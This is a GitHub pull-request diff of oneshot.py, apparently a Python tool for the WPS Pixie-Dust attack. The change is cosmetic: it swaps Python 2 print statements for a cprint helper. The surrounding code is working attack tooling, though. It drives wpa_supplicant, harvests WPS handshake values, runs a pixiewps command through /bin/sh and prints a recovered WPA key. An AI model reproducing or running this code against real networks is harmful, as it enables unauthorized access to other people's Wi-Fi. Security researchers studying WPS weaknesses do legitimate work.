Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
36 changes: 20 additions & 16 deletions oneshot.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,10 @@ def __init__(self):
self.verbose = False
self.showpixiecmd = False

def cprint(s, nl=True):
sys.stdout.write(s + ('\n' if nl else ''))
sys.stdout.flush()

def shellcmd(cmd):
proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
result = proc.read()
Expand Down Expand Up @@ -54,7 +58,7 @@ def got_all_pixie_data(data):
return data.pke and data.pkr and data.e_nonce and data.authkey and data.e_hash1 and data.e_hash2

def statechange(data, old, new):
print '%s -> %s'%(old, new)
cprint('%s -> %s'%(old, new))
data.state = new
return True

Expand All @@ -69,7 +73,7 @@ def get_hex(line):
return False
line = line.rstrip('\n')

if options.verbose: sys.stderr.write(line + '\n')
if options.verbose: cprint(line)

if line.startswith('WPS: '):
if 'Enrollee Nonce' in line and 'hexdump' in line:
Expand Down Expand Up @@ -100,24 +104,24 @@ def get_hex(line):
elif ': State: ' in line:
statechange(data, *line.split(': State: ')[1].split(' -> '))
elif 'WPS-FAIL' in line:
print "WPS-FAIL :("
cprint("WPS-FAIL :(")
return False

elif 'NL80211_CMD_DEL_STATION' in line:
#if data.state == 'ASSOCIATED':
# print "URGH"
print "[ERROR]: unexpected interference - kill NetworkManager/wpa_supplicant!"
cprint("[ERROR]: unexpected interference - kill NetworkManager/wpa_supplicant!")
#return False
elif 'Trying to authenticate with' in line:
print line
cprint(line)
elif 'Authentication response' in line:
print line
cprint(line)
elif 'Trying to associate with' in line:
print line
cprint(line)
elif 'Associated with' in line:
print line
cprint(line)
elif 'EAPOL: txStart' in line:
print line
cprint(line)

return True

Expand Down Expand Up @@ -182,7 +186,7 @@ def cleanup(wpas, wpac, options):
wpas = run_wpa_supplicant(options)
while True:
s = recvuntil(wpas, '\n')
if options.verbose: sys.stderr.write(s)
if options.verbose: cprint(s, False)
if 'update_config=1' in s: break

wpac = run_wpa_cli(options)
Expand All @@ -198,7 +202,7 @@ def cleanup(wpas, wpac, options):
try:
res = process_wpa_supplicant(wpas, options, data)
except KeyboardInterrupt:
print "aborting..."
cprint("aborting...")
res = False

if not res: break
Expand All @@ -208,18 +212,18 @@ def cleanup(wpas, wpac, options):

if options.pixiemode and pixiecmd:
cleanup(wpas, wpac, options)
print "running %s" % pixiecmd
cprint("running %s" % pixiecmd)
os.execlp('/bin/sh', '/bin/sh', '-c', pixiecmd)
# shouldnt get here
sys.exit(1)

if data.wpa_psk:
if options.showpixiecmd and pixiecmd: print pixiecmd
if options.showpixiecmd and pixiecmd: cprint(pixiecmd)
cleanup(wpas, wpac, options)
print "!!! GOT WPA KEY !!!: %s" % data.wpa_psk
cprint("!!! GOT WPA KEY !!!: %s" % data.wpa_psk)
sys.exit(0)

print "hmm, seems something went wrong..."
if options.showpixiecmd and pixiecmd: print pixiecmd
cprint("hmm, seems something went wrong...")
if options.showpixiecmd and pixiecmd: cprint(pixiecmd)
cleanup(wpas, wpac, options)
sys.exit(1)